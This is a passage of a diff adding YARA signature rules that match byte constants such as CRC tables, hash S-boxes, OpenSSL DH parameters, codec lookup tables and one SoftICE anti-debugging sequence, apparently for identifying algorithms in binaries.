4442ebf3cc64f41388f7fbe398180c24dc8b03d454ad1c34103e13c400732d0444e022f4ccc63d14885532e4a8cf4e64ec5c4194647a5e7420e9518430a46f44743760b4fc117f54b88270a4f8b689a4bc258654340399b47090964460dda884244ea774ac68b894e8fbb764c861cbe48cf2c41404d4dbf44047d404500aeac41499e5349cbffad4d82cf5241cd708d558440725d06218c594f1173584bc29f5c02f2605480939e50c9a36152c004a9568934565e0b55a85a4265575b46b6bb5f0f8644578de7ba53c4d74557c798d5538ea82a5b0cc9d45f45f92b5e412ac75a081a38528a7bc656c34b3954caecf15083dc0e5801bdf05c488d0f5d4c5ee359056e1c51870fe255ce3f1d5d4140a36908705c618a11a265c3215d64c7f2b1608ec24e680ca3b06c45934f6e4c34876a0504786287658666ce557967ca86956383b66a6b01d7946f48e76b6b4ba8fb6f0298046780f9fa63c9c90562cd1ae966842a166e064be86a4f7b176846dcdf6c0fec20648d8dde60c4bd2161c06ecd65895e326d0b3fcc69420f33650db0ec7144801379c6e1ed7d8fd1127c8b02fe78c23201704053ff740963007600c4c87249f4377acb95c97e82a5367f8676da7bcf4625734d27db77041724730758b4774e684b7fcc09b57b85394a7a81eaa67ec8da59764abba772038b58700a2c9074431c6f7cc17d9178884d6e798c9e827dc5ae7d7547cf83710eff7c7 }
+
+condition:
+	$a0
+}
+
+	
+rule OpenSSL_dh512_p__8_byt_64_
+{
+strings:
+	$a0 = { da583c16d9852289d0e4af756f4cca92dd4be533b804fb0fed94ef9c8a4403ed574650d36999db29d776276ba2d3d412e218f4dd1e084cf6d8003e7c4774e833 }
+
+condition:
+	$a0
+}
+
+	
+rule Squash_table_used_in_PAQ7_compression__32_big_132_
+{
+strings:
+	$a0 = { 000000010000000200000003000000060000000a000000100000001b0000002d0000004900000078000000c200000136000001e8000002eb0000044d0000060a000007ff000009f500000bb200000d1400000e1700000ec900000f3d00000f8700000fb600000fd200000fe400000fef00000ff500000ff900000ffc00000ffd00000ffe }
+
+condition:
+	$a0
+}
+
+	
+rule bsynz_int_kexc_table__int___32_big_100_
+{
+strings:
+	$a0 = { 00000008FFFFFFF00000001AFFFFFFD000000056FFFFFF5E00000126FFFFFE0A000002CEFFFFFD28000000B8000002A0FFFFFD9EFFFFFD60000000B8000002D8000002CE000001F600000126000000A200000056000000300000001A0000001000000008 }
+
+condition:
+	$a0
+}
+
+	
+rule lzari__StartModel___32_big_AND_
+{
+strings:
+	$a0 = { 0000013a[0-20]00002710[0-20]000000c8 }
+
+condition:
+	$a0
+}
+
+	
+rule FFT_and_FHT_routines_rv_tbl__8_byt_128_
+{
+strings:
+	$a0 = { 008040c020a060e0109050d030b070f0088848c828a868e8189858d838b878f8048444c424a464e4149454d434b474f40c8c4ccc2cac6cec1c9c5cdc3cbc7cfc028242c222a262e2129252d232b272f20a8a4aca2aaa6aea1a9a5ada3aba7afa068646c626a666e6169656d636b676f60e8e4ece2eae6eee1e9e5ede3ebe7efe }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab9__16_lil_142_
+{
+strings:
+	$a0 = { C1FFCBFFD7FFE3FFEDFFF5FFFBFFFDFFFFFF550045003500FFFF5300FFFF54000500FDFFFFFF44002500FFFF52001500FDFFFFFF51003400FFFF4300FFFF50000400F9FFFDFFFFFF24004200FFFF33004000FFFF14004100FBFFFDFFFFFF230032001300FFFF3100FFFF03003000FBFFFDFFFFFF220002001200FFFF21002000FDFFFFFF11000100FFFF10000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_30_neg__flt32___32_lil_160_
+{
+strings:
+	$a0 = { 0000803f0000803f0000803f0000803f0000803ff9047f3ff9047f3fe80a7e3fe80a7e3fe80a7e3fe80a7e3fe80a7e3fa5197c3f71227b3f71227b3fcd117d3fa5197c3f302c7a3f104f773f8f5c763fa5197c3f302c7a3f104f773f9a8a733f0aae713f71227b3f8042783f9a8a733fcee96e3fad2d6c3f302c7a3ffb6a753ffad46f3f625f6a3f0deb653f8042783ff09b723fad2d6c3f0deb653fe8d25f3f }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__INT_3_s_with_SoftICE_s_I3HERE__8_byt_20_
+{
+strings:
+	$a0 = { 66be474666bf4d4a0e1f66b8110966ba0e00cd03 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_place_420__16_big_3240_
+{
+strings:
+	$a0 = { 0c2424123036000018480e242612323602001a4810242812343604001c4810262814343804021c4a0e262614323802021a4a0c26241430380002184a0c282416303a0004184c0e282616323a02041a4c10282816343a04041c4c102a2818343c04061c4e0e2a2618323c02061a4e0c2a2418303c0006184e0c2c241a303e000818500e2c261a323e02081a50102c281a343e04081c50102e281c3440040a1c520e2e261c3240020a1a520c2e241c3040000a18520c30241e3042000c18540e30261e3242020c1a541030281e3442040c1c54103228203444040e1c560e3226203244020e1a560c3224203044000e18560c3424223046001018580e342622324602101a5810342822344604101c5812242a12363606001e4814242c1238360800204816242e123a360a00224816262e143a380a02224a14262c1438380802204a12262a14363806021e4a12282a16363a06041e4c14282c16383a0804204c16282e163a3a0a04224c162a2e183a3c0a06224e142a2c18383c0806204e122a2a18363c06061e4e122c2a1a363e06081e50142c2c1a383e08082050162c2e1a3a3e0a082250162e2e1c3a400a0a2252142e2c1c3840080a2052122e2a1c3640060a1e5212302a1e3642060c1e5414302c1e3842080c205416302e1e3a420a0c225416322e203a440a0e225614322c203844080e205612322a203644060e1e5612342a22364606101e5814342c2238460810205816342e223a460a102258182430123c360c0024481a2432123e360e0026481c2434124036100028481c26341440381002284a1a2632143e380e02264a182630143c380c02244a182830163c3a0c04244c1a2832163e3a0e04264c1c283416403a1004284c1c2a3418403c1006284e1a2a32183e3c0e06264e182a30183c3c0c06244e182c301a3c3e0c0824501a2c321a3e3e0e0826501c2c341a403e100828501c2e341c4040100a28521a2e321c3e400e0a2652182e301c3c400c0a24521830301e3c420c0c24541a30321e3e420e0c26541c30341e4042100c28541c3234204044100e28561a3232203e440e0e2656183230203c440c0e2456183430223c460c1024581a3432223e460e1026581c3434224046101028581e243612423612002a4820243812443614002c4822243a12463616002e4822263a14463816022e4a20263814443814022c4a1e263614423812022a4a1e283616423a12042a4c20283816443a14042c4c22283a16463a16042e4c222a3a18463c16062e4e202a3818443c14062c4e1e2a3618423c12062a4e1e2c361a423e12082a50202c381a443e14082c50222c3a1a463e16082e50222e3a1c4640160a2e52202e381c4440140a2c521e2e361c4240120a2a521e30361e4242120c2a542030381e4442140c2c5422303a1e4642160c2e5422323a204644160e2e56203238204444140e2c561e3236204244120e2a561e343622424612102a5820343822444614102c5822343a22464616102e5824243c1200361800304826243e1202361a0032482824401204361c0034482826401404381c02344a26263e1402381a02324a24263c1400381802304a24283c16003a1804304c26283e16023a1a04324c28284016043a1c04344c282a4018043c1c06344e262a3e18023c1a06324e242a3c18003c1806304e242c3c1a003e18083050262c3e1a023e1a083250282c401a043e1c083450282e401c04401c0a3452262e3e1c02401a0a3252242e3c1c0040180a305224303c1e0042180c305426303e1e02421a0c32542830401e04421c0c34542832402004441c0e345626323e2002441a0e325624323c200044180e305624343c2200461810305826343e2202461a1032582834402204461c1034582a24421206361e0036482c2444120836200038482e2446120a3622003a482e2646140a3822023a4a2c26441408382002384a2a26421406381e02364a2a284216063a1e04364c2c284416083a2004384c2e2846160a3a22043a4c2e2a46180a3c22063a4e2c2a4418083c2006384e2a2a4218063c1e06364e2a2c421a063e1e0836502c2c441a083e200838502e2c461a0a3e22083a502e2e461c0a40220a3a522c2e441c0840200a38522a2e421c06401e0a36522a30421e06421e0c36542c30441e0842200c38542e30461e0a42220c3a542e3246200a44220e3a562c3244200844200e38562a32422006441e0e36562a34422206461e1036582c3444220846201038582e3446220a4622103a58302400120c3624003c48322402120e3626003e48342404121036280040483426041410382802404a322602140e3826023e4a302600140c3824023c4a302800160c3a24043c4c322802160e3a26043e4c34280416103a2804404c342a0418103c2806404e322a02180e3c26063e4e302a00180c3c24063c4e302c001a0c3e24083c50322c021a0e3e26083e50342c041a103e28084050342e041c1040280a4052322e021c0e40260a3e52302e001c0c40240a3c523030001e0c42240c3c543230021e0e42260c3e543430041e1042280c4054343204201044280e4056323202200e44260e3e56303200200c44240e3c56303400220c4624103c58323402220e4626103e58343404221046281040583624061212362a0042483824081214362c0044483a240a1216362e0046483a260a1416382e02464a3826081414382c02444a3626061412382a02424a36280616123a2a04424c38280816143a2c04444c3a280a16163a2e04464c3a2a0a18163c2e06464e382a0818143c2c06444e362a0618123c2a06424e362c061a123e2a084250382c081a143e2c0844503a2c0a1a163e2e0846503a2e0a1c16402e0a4652382e081c14402c0a4452362e061c12402a0a42523630061e12422a0c42543830081e14422c0c44543a300a1e16422e0c46543a320a2016442e0e46563832082014442c0e44563632062012442a0e42563634062212462a1042583834082214462c1044583a340a2216462e1046583c240c121836300000483e240e121a3632000248402410121c3634000448402610141c383402044a3e260e141a383202024a3c260c1418383002004a3c280c16183a3004004c3e280e161a3a3204024c402810161c3a3404044c402a10181c3c3406044e3e2a0e181a3c3206024e3c2a0c18183c3006004e3c2c0c1a183e300800503e2c0e1a1a3e32080250402c101a1c3e34080450402e101c1c40340a04523e2e0e1c1a40320a02523c2e0c1c1840300a00523c300c1e1842300c00543e300e1e1a42320c02544030101e1c42340c0454403210201c44340e04563e320e201a44320e02563c320c201844300e00563c340c221846301000583e340e221a4632100258403410221c4634100458422412121e3636000648442414122036380008484624161222363a000a484626161422383a020a4a4426141420383802084a422612141e383602064a422812161e3a3604064c44281416203a3804084c46281616223a3a040a4c462a1618223c3a060a4e442a1418203c3806084e422a12181e3c3606064e422c121a1e3e36080650442c141a203e38080850462c161a223e3a080a50462e161c22403a0a0a52442e141c2040380a0852422e121c1e40360a06524230121e1e42360c06544430141e2042380c08544630161e22423a0c0a544632162022443a0e0a56443214202044380e0856423212201e44360e0656423412221e4636100658443414222046381008584634162222463a100a580024181224363c000c4802241a1226363e000e4804241c1228364000104804261c1428384002104a02261a1426383e020e4a0026181424383c020c4a00281816243a3c040c4c02281a16263a3e040e4c04281c16283a4004104c042a1c18283c4006104e022a1a18263c3e060e4e002a1818243c3c060c4e002c181a243e3c080c50022c1a1a263e3e080e50042c1c1a283e40081050042e1c1c2840400a1052022e1a1c26403e0a0e52002e181c24403c0a0c520030181e24423c0c0c5402301a1e26423e0c0e5404301c1e2842400c105404321c202844400e105602321a2026443e0e0e560032182024443c0e0c560034182224463c100c5802341a2226463e100e5804341c2228464010105806241e122a3642001248082420122c36440014480a2422122e36460016480a2622142e384602164a082620142c384402144a06261e142a384202124a06281e162a3a4204124c082820162c3a4404144c0a2822162e3a4604164c0a2a22182e3c4606164e082a20182c3c4406144e062a1e182a3c4206124e062c1e1a2a3e42081250082c201a2c3e440814500a2c221a2e3e460816500a2e221c2e40460a1652082e201c2c40440a1452062e1e1c2a40420a125206301e1e2a42420c12540830201e2c42440c14540a30221e2e42460c16540a3222202e44460e1656083220202c44440e145606321e202a44420e125606341e222a4642101258083420222c46441014580a3422222e4646101658 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale4__flt64___64_lil_120_
+{
+strings:
+	$a0 = { 0200006042baef3ffeffff1fdb24ef3ffdffff1f257fee3ffeffff5fa7c3ed3fffffffbf16e9ec3f0300002027ddeb3f030000001270ea3ffcffff5f9ea0e63f040000206b07e23ffdffff9f8c78df3f060000009a6fdb3f000000808e80d73ff9ffff7fcd62d33f100000008b68cd3f01000000a7aac03f }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_5__32_lil_1024_
+{
+strings:
+	$a0 = { 21114f4b813018ba1ff484c7ac0b7dd167223d081e36b13705ad8135bcf6a2fddd2c891e3a3c6db5460e1432ab8a8d13d47347e1df710e5b55e01f5dd391b93f716cf4f18c9825a3806ef610486300b1609f6a72baf8673bf44e114e1521c5051ca15c4cd8efe199b3831b4724e5f7cbf582ad433ba90c69b21ba6fab532a81243f934b7a7ae22bd26c6fe88e7c3805e5eaf3ebe52766144754472a595963bbb8fee3f7feb7d4e962d058c512bbc0b2a5c5f17c289387b9a0c8d0da729ddccea5866cdcce625bb34901039b86f3551f69e7c9852cdc1160c3c2d378ebdebc62fe3a35d6e3972e2b03857685f86174145f8657f06408b7761652eab81f9f0c814ceb4b7a6ecea36400ab062bf025efdeca649540428fd0ab273d2662163a8130d5687508930751ad57a3f652dc3dbdb3c4fdfc980d912583df3b1fb53c085f1c07e3d3c7a10646468a00776852e62121d6634f39717994cdb7c6069643d046e56db1eef798d89052c258e57c9010138cd7743e046a9c71c7d37b8526508261920c50075b9446b29edb4488636d55c9962001473828bbdaef9c7c0443894e72d7c70a7a133c228e58a12e82b5a074a8f1fcad75e2b64b57e93117eda6f6c5d9be44e24b3b4a453aa183413063aa367604d6858ba83fe4ddf9b61f2497450849f70cb33d1ca3f1c94de84e42af5ed771d78f095437e593b10aebb312392c850ce425381f0e6d041d9e76bed28509bc4d2b33e9c4dad6efb01d2bed55ba44b7fcbff06789d575bbb21f8ad92d559310cbed076b6e3d45a160701d239e90ffdaabc49e5cfff5583f7c12ea5099af37227b43e5d5ab51979064a02f7b3838c1dba4286ead9acacc452d387451f9360d7975fa02cd4ec1c7bc8fce2e2940fb60b4ba367c940ddfc270a150b049eeed3e9292e58412bc24ab8e1c46a1aa5cabc0ef37a2309b7c3eb199da5c48ac94b28931ad4e91820fa6b51d6b273faa2f911f1bf09ceaa70a441228f8825e854e7778e0d33f716ab8e154288d6c5f6a685c6de2fb8e5963aea093615de6dda19a94f9fbec026696fed9ef25555f085c26fe0236dd79c922a45afb74cc7ef32476b9dee08e48b0d1d40229d456cee82cb8775626874e887debd5c784279984db9af312f0f1ec12afce830ef6132cfe123301acf862faa4ae202f2ffdc088dc6374876cc7463a2883e7c9f7dc59c947fa026ddb0fa9ec3a179f8c8b97be6dc35a4b0f4e09a2c91e40356d8bf9b3a95d69082fb5fcdeb0a9a6a2016147a786c6af1a0d9744fbf2991ce8b8f54935a0eb18c03ab1bd18a1b49ff27e320da5300dc51cf906dfe92da47ca9003978095a8af5bdca9c1e33139b6460484fb69d063990246d7d1ec247113e69107fc1859484cd035d633ac96df03d3f266ae567024a8b2a7a19cccd82798e9b6170f59f57b57f597fea2d87154 }
+
+condition:
+	$a0
+}
+
+	
+rule Ultima_Online_login_encryption_algorithm__32_lil_888_
+{
+strings:
+	$a0 = { 68000000050000000700000000800000020000000500000005000000070000000e000000050000000b000000070000000080000003000000008000003d000000d700000000800000008000000a0000000600000009000000008000000080000000800000008000000080000025000000008000000500000004000000080000001300000008000000030000001a000000070000001400000005000000020000000500000001000000050000000200000002000000110000000f0000000a000000050000000080000002000000020000000a0000008d02000000800000080000000700000009000000008000000080000000800000020000002500000000800000c9000000008000000080000029020000c902000005000000008000000b000000490000005d000000050000000900000000800000008000000600000002000000008000000080000000800000020000000c000000010000000b0000006e0000006a0000000080000000800000040000000200000049000000008000003100000005000000090000000f0000000d000000010000000400000000800000150000000080000000800000030000000900000013000000030000000e000000008000001c0000000080000005000000020000000080000023000000100000001100000000800000090000000080000002000000008000000d00000002000000008000003e00000000800000020000002700000045000000020000000080000000800000420000000080000000800000008000000b0000000080000000800000008000001300000041000000008000006300000000800000090000000080000002000000008000001a0000000080000002010000350100003300000000800000008000000300000009000000090000000900000095000000008000000080000004000000008000000080000005000000008000000080000000800000008000000d000000008000000080000000800000008000000080000040000000090000000080000000800000030000000600000009000000030000000080000000800000008000002400000000800000008000000080000006000000cb0000000100000031000000020000000600000006000000070000000080000001000000008000004e0000000080000002000000190000000080000000800000008000000080000000800000008000000c01000000800000008000000900000000800000 }
+
+condition:
+	$a0
+}
+
+	
+rule YUV_to_RGB_dither_8x8_220__8_byt_64_
+{
+strings:
+	$a0 = { 753e9e67713a9b6422c715ba1fc411b69059834c8d567f4800a529ce0aaf34d96e3797607841a26b1cc10eb326cb18bd8a537c45945d864f07ac30d503a82dd2 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_toast_ulaw_u2s__16_big_512_
+{
+strings:
+	$a0 = { 820086048a088e0c921196159a199e1da221a626aa2aae2eb232b637ba3bbe3fc142c344c547c749c94bcb4dcd4fcf51d153d355d558d75ad95cdb5edd60df62e0e4e1e5e2e6e3e7e4e8e5e9e6eae7ebe8ece9edeaeeebefecf0edf1eef3eff4f0b4f135f1b5f236f2b6f337f3b8f438f4b9f539f5baf63af6bbf73bf7bcf83cf89df8ddf91df95ef99ef9defa1efa5ffa9ffadffb1ffb60fba0fbe0fc20fc61fc91fcb1fcd1fcf1fd11fd32fd52fd72fd92fdb2fdd2fdf2fe12fe33fe53fe73fe8bfe9bfeabfebbfecbfedbfeebfefbff0bff1cff2cff3cff4cff5cff6cff7cff88ff90ff98ffa0ffa8ffb0ffb8ffc0ffc8ffd0ffd8ffe0ffe8fff0fff800007e0079fc75f871f46def69eb65e761e35ddf59da55d651d24dce49c945c541c13ebe3cbc3ab938b736b534b332b130af2ead2cab2aa828a626a424a222a0209e1f1c1e1b1d1a1c191b181a171916181517141613151214111310120f110d100c0f4c0ecb0e4b0dca0d4a0cc90c480bc80b470ac70a4609c6094508c5084407c40763072306e306a20662062205e205a10561052104e104a00460042003e0039f036f034f032f030f02ef02ce02ae028e026e024e022e020e01ee01cd01ad018d0175016501550145013501250115010500f500e400d400c400b400a4009400840078007000680060005800500048004000380030002800200018001000080000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x26d930ac__32_big_refl_True_
+{
+strings:
+	$a0 = { 0000000036364be40675a1013043eae50ceb42023add09e60a9ee3033ca8a8e719d684042fe0cfe01fa3250529956ee1153dc606230b8de213486707257e2ce333ad0808059b43ec35d8a90903eee2ed3f464a0a097001ee3933eb0b0f05a0ef2a7b8c0c1c4dc7e82c0e2d0d1a3866e92690ce0e10a685ea20e56f0f16d324eb0d4326d93b756d3d0b3687d83d00cc3c01a864db379e2f3f07ddc5da31eb8e3e1495a2dd22a3e93912e003dc24d64838187ee0df2e48ab3b1e0b41de283d0a3a3eee2ed108d86535389b8fd00eadc43432056cd3043327373470cdd2024686362738aad5110ee131214d0bd4177b40302bd3e8d71de5a3332da649d61b9002321a864db22cb006561cf3ecb32ac5a757166d0fb0205b44541018aeb1262ee5550350c9b635668252052568b7331323530fbb8bb4398dc05009ce2ab53ff86151292b45ba1f1d0e5e2f5ee4bb1968af5f25c007b813f64c5c23b5a6b91583ed5d30fdc1be06cb8a5a368860bf00be2b5b3c1683bc0a20c8583a6322bd0c55695917c56b6b21f3208f11b0ca6a2786818e1b2e29692d18628d1d5b88682b6dc38c0e13ef6f3825a48b08664e6e3e50058a02f8ad6d34cee689048d0c6c32bb478824686363125e2887221dc262142b8986288321611eb56a852ef6806018c0cb843dbee7670b88ac833bcb46660dfd0d823155a5650763ee813720046401164f80350c9b64033ad08033793a65054f718139e7d9660fd192823f92786709a433832cda1f601aec54842aafbe611c99f58520315d62160716862644fc631072b78706a1936c3097d88800d4326d36e279890a4ad16e3c7c9a8a0c3f706f3a093b8b1f77176829415c8c1902b6692f34fd8d139c556a25aa1e8e15e9f46b23dfbf8f384fbdbd0e79f6593e3a1cbc080c575834a4ffbf0292b45b32d15ebe04e7155a219939b917af725d27ec98b811dad35c2d727bbb1b44305f2b07daba1d31915e0be2b5b53dd4fe510d9714b43ba15f500709f7b7313fbc53017c56b6374a1d52123431b124027a55144190b02277db541edf73b328e9385718aad2b22e9c99562f8ad6d619bc9d3229ff77d71fc93c33236194d41557df30251435d513227e31365c52d2006a19363029f3d3061fb8373ab710d00c815b343cc2b1d10af4fa351c27dede2a11953a1a527fdf2c64343b10cc9cdc26fad73816b93ddd208f763905f15ada33c7113e0384fbdb35b2b03f091a18d83f2c533c0f6fb9d93959f23d22c9f00f14ffbbeb24bc510e128a1aea2e22b20d1814f9e92857130c1e6158e83b1f740b0d293fef3d6ad50a0b5c9eee37f4360901c27ded3181970807b7dcec1164f8072752b3e317115906212712e21d8fba052bb9f1e11bfa1b042dcc50e008b27c033e8437e70ec7dd0238f196e604593e01326f75e5022c9f00341ad4e4 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_15_CAN_poly_0x4599__16_big_refl_False_
+{
+strings:
+	$a0 = { 000045998b32ceab53fd1664d8cf9d56a7fae2632cc86951f407b19e7f353aac0a6d4ff4815fc4c659901c09d2a2973bad97e80e26a5633cfe6abbf3755830c114da51439fe8da71472702becc15898cb320f6b938127d8be0dda5446bef2e761eb75b2e9585d01c4d4a08d3c67883e1b94dfcd4327f77e6eab0af296182241b29b46c2da286e71f7a493fd0f17bb4e28e4ecbd7057c40e5ddb3982a5681131823d96640a8ebed72702435bdfb16be8f8423c1ba0f114a88d7de92475cec19753d6e78f7b65cf3c56e932b0ae5a1a0389a94df0d11a6543fc9698cf0425b07c23703729abc31f9a864fe2167efccaa5590f9d5601bcb5e52c304869d48360daf536816f1d85a9dc30095450c8ba7ce3ef492b10b7fa03a39a76fe2f62c5d69c459051c9cd23797ae0af84f6181cac453feffbb6675cd3054ad02e89b263063a947b2022bcc808919144f51d69f7ddae4e048a5d16b7a2ee3b3b5f62c38877d1e4ddf0846c6ed83741e225bbb9510d089ea25afbc6117248eb9d8fc4132ea77737adc3f45f1eeb47729216cb8a213e78add2698bf5614138d8edbcb4205e9407070b13528fb83be1a234c66d5a87eede7d74b92d25c7919e084b6c12f0f844a1d6e062b9fe534a0ad3dfb7862b6c9f350c9fc8c6542ce07579a01df98113354aa646b21f2ef59aac03796720fbca4f93dc391860848a30d3a906cd5f51b5e5ec7 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xf00f9344__32_big_refl_False_
+{
+strings:
+	$a0 = { 00000000f00f93441010b5cce01f268820216b98d02ef8dc3031de54c03e4d104042d730b04d4474505262fca05df1b86063bca8906c2fec70730964807c9a208085ae60708a3d2490951bac609a88e8a0a4c5f850ab56bcb0b4703440bbe370c0c7795030c8ea14d0d7cc9c20d85fd8e0e612c810e9818cf0f6a70400f93440f104cf84010b5cc0e1147a48111be90cd125a41c212a3758c13511d0313a8294b14618b441498bf0a156ad7851593e3c9167732c6168e0688177c6e0717855a4718161e4818ef2a06191d428919e476c51a00a7ca1af993841b0bfb0b1bf2cf431c3b6d4c1cc259021d30318d1dc905c11e2dd4ce1ed4e0801f26880f1fdfbc412060c4ce2099f080216b980f2192ac4322767d4c228f4902237d218d238415c5244db7ca24b483842546eb0b25bfdf47265b0e4826a23a062750528927a966c9283a22c628c3168829317e0729c84a4b2a2c9b442ad5af0a2b27c7852bdef3cd2c1751c22cee658c2d1c0d032de5394f2e01e8402ef8dc0e2f0ab4812ff380ce302c3c8130d508cf3127604031de540c323a850332c3b14d3331d9c233c8ed8a34014f8534f87bcb350a134435f327083617f60736eec249371caac637e59e863876da89388feec7397d86483984b2043a60630b3a9957453b6b3fca3b920b823c5ba98d3ca29dc33d50f54c3da9c1003e4d100f3eb424413f464cce3fbf788240c1898d4038bdc341cad54c4133e10042d7300f422e044143dc6cce4325588644ecfa894415cec745e7a648451e920446fa430b4603774547f11fca47082b8a489b6f8548625bcb49903344496907084a8dd6074a74e2494b868ac64b7fbe8e4cb61c814c4f28cf4dbd40404d44740c4ea0a5034e59914d4fabf9c24f52cd8d508d71c25074458c51862d03517f194f529bc8405262fc0e539094815369a0c954a002c65459368855ab5e0755526a4b56b6bb44564f8f0a57bde7855744d3c558d797ca582ea38459dccb0b5925ff475ac12e485a381a065bca72895b3346c15cfae4ce5c03d0805df1b80f5d088c435eec5d4c5e1569025fe7018d5f1e35c360a14d4c6058790261aa118d615325c162b7f4ce624ec08063bca80f63459c47648c3e4864750a0665876289657e56c5669a87ca6663b3846791db0b6768ef4b68fbab4468029f0a69f0f7856909c3c96aed12c66a1426886be64e076b1f7a4f6cd6d8406c2fec0e6ddd84816d24b0cd6ec061c26e39558c6fcb3d036f32094c70edb5037014814d71e6e9c2711fdd8e72fb0c81720238cf73f050407309640874c0c6077439f24975cb9ac67532ae8a76d67f85762f4bcb77dd23447724170478b7530b784e674579bc0fca79453b867aa1ea897a58dec77baab6487b5382007c9a200f7c6314417d917cce7d6848827e8c998d7e75adc37f87c54c7f7ef10 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_fc_4pulses_8bits_track_4__8_byt_32_
+{
+strings:
+	$a0 = { 030408090d0e121317181c1d212226272b2c303135363a3b3f404445494a4e4f }
+
+condition:
+	$a0
+}
+
+	
+rule STARMOD_transport_key__8_byt_64_
+{
+strings:
+	$a0 = { a26fa6a2f85e838dbe6234c1cbf72fbfbd9473efbc46d6b4db243139de0c68498a67d5fd2a6d3a702ae4dcd10787d5310e270c456a281ae12293c7d0d5f6ef6d }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_16_lo0x673C__16_big_512_
+{
+strings:
+	$a0 = { 0000673cce78a944cc27ab1b025f6563c899afa506e161dd04be6382cac6adfac1e5a6d90f9d68a10dc26afec3baa486097c6e40c704a038c55ba2670b236c1fd31db4211d657a591f3a7806d142b67e1b847cb8d5fcb2c0d7a3b09f19db7ee712f875c4dc80bbbcdedfb9e310a7779bda61bd5d141973251646717ad83ebf02f6ed91d138955fa93aca5df6f4b2938e3e745948f00c9730f253956f3c2b5b1737085034f9709e4cfb2f9c133557526bff9198ad31e956d533b6548afdce9af225f042cceb888cb4e9d78eeb27af4093ed698a552311442d214e4672ef36880ae41583292a6d4d5128324f0ee64a81762c8c4bb0e2f485c8e0ab87972ed349efbd0dda3173751449712a1616bf52d86e759412a8bbecdcd0b9b3de8f77cb10f77ce81bd4b290d5acb0cfd7f37eb7198bb471d34d7a091d3578561f6ab62ed1126e10092ca068c754a237c50b6c4f0b73a689c1b568f10fcd6aae0d92a4d6c3eaaff5c8c9618d06b163d204eeadaaca96676c0050a914ce28ab4bcc776533020f4be02cdc8598e2a487c7e0fb49bf2e838379e4454d012a3d4f5e28628126e61a8a05ed39447d23414622211e885aef66429c25a08ce4ebd88ebbe98740c327ff98fdffc1568531b954da33e69aa2fd9e506437589e1cf9209c43fb7f523b350759183e249760f05c953ff2035b473c7b9181f6bd5ff938c55da63a9a93def4e2 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_SECG_PRIME_160R2_SEED__8_byt_20_
+{
+strings:
+	$a0 = { b99b99b099b323e02709a4d696e6768756151751 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_front_opposite_side___30_degree___flt64___64_lil_1024_
+{
+strings:
+	$a0 = { 728023930341ecbe7bad9880f61815bf82f0055cd107073f82d8791881cdf2be87b0303e5e3b02bf0665ee957e1a19bf9fb27afb196b243fee6258a3119128bfce7175ff0c60313f5b202f0be20423bfd306d7a35ca915bf44a2d5b00e41453f22a04fca226b51bf454a16128dc4653fceb200a52d3b573f4f10ff526887793f4890f01a18c880bf5354a5f813e77abfa2d904a80e89833fc11832fe8f35893fa096ec69f094bf3fc85d7d1ad9a2a73f29c3052b7c2fbabf0d05277862b9a43f31b993f70d4c68bf9d0945627f11b2bf84ddcc5badebb43f982923ed8b5db63f922ecfc88d23aa3ffd0b8505fdc3bd3f177b8a73d684ca3fd1468ec20800b83fdbe6a596490cb9bfa2c52b5fa77d85bfeac9d1881a34ab3fe39db150c800babf446753f165d1c4bf72af7167fea8abbf479a077253199cbf254269f9073eb9bfe0e1f248e483b1bffcc45100fd2972bf40aec10c161d41bf3d9741e3998679bf46bce2da32838d3f76b389f1b703a93fdbb89bc34f55a63f12e7bbf56a67a13f9b43f22d9466a93fd1e3090120d3a43f7eb0c7120014803f84757aa829b2723fda9e8782df1c973fecdc88f5a9c2803fc6646350f58a8ebf0779561a682293bfa4c6238958e091bf0fef98158ed497bf474260d2df0fa3bf831c2ed314e8a6bf65e4257761d6a5bff5aac2340219a3bf2a8b558985bc9dbf060a72c7a44d93bfb93d7371d3b888bf849123e622c57bbfc14c8a6fc1a05fbf5004f52fa7e2fe3e1dd33ea8afa5563f7091f454343f583f597fadcbba1b2b3fa3717061103b623f32dc1ee9b911753f13b328833e715e3f46c467d7dfd35fbf0f1b13b2a8b257bfc30c410983346cbff8c29503ccd983bfc5e0eba2963f88bf59c2817889f285bf7235d1813a808abfa4937e1243f488bf938165109a6379bf67eeb8b79bfe62bf48569b9719f465bff3c4859cda4769bf1c2b78f617bd59bf2a355b419cb24abfff9a6ab1774a54bfe5a0aed4e01441bf359d3eca18035d3f4c24fdad2bb5553fadbdf9e73ce45bbf0e59218f037a72bf196083d08a3576bf8ef71377c12c70bf0459c50841b175bfdf485fb1f3ca79bf432cc6a8583173bfde4b240b36b173bfb74ebe284b7d78bf1339e6a1014978bfb02d9d1c202771bf21b04c0e3f546abf82d8cdd86efe66bfd965bc0d79d751bfab88290d6a79353f362468bde35255bf1cfefef1c4476abf6ced286d109364bf8a573a3beb9656bfc19bb70fcef25dbf48e5f251a33865bf389dd5d0aaf760bff4ec09218fa565bfa3361f2e375170bf0f9a4e37ce0d71bfe0263e67c8d671bfd1cadb5ab8d171bf5aacad23240f6ebfe4d13047c3bd6bbfcbfe44478a4570bfc1c6b0d0c8be71bf80b3d471deb265bf07d93301a3ae56bfd8a2a635209a52bf9325db79367d56bf5bc9f2c20e7260bf }
+
+condition:
+	$a0
+}
+
+	
+rule bsynz_kexc_table__float___flt32___32_lil_100_
+{
+strings:
+	$a0 = { 00000041000080c10000d041000040c20000ac42000022c3000093430000fbc300803344000036c40000384300002844008018c4000028c40000384300003644008033440000fb4300009343000022430000ac42000040420000d0410000804100000041 }
+
+condition:
+	$a0
+}
+
+	
+rule ICE__block_cipher__ice_sxor__32_big_64_
+{
+strings:
+	$a0 = { 00000083000000850000009b000000cd000000cc000000a7000000ad000000410000004b0000002e000000d400000033000000ea000000cb0000002e00000004 }
+
+condition:
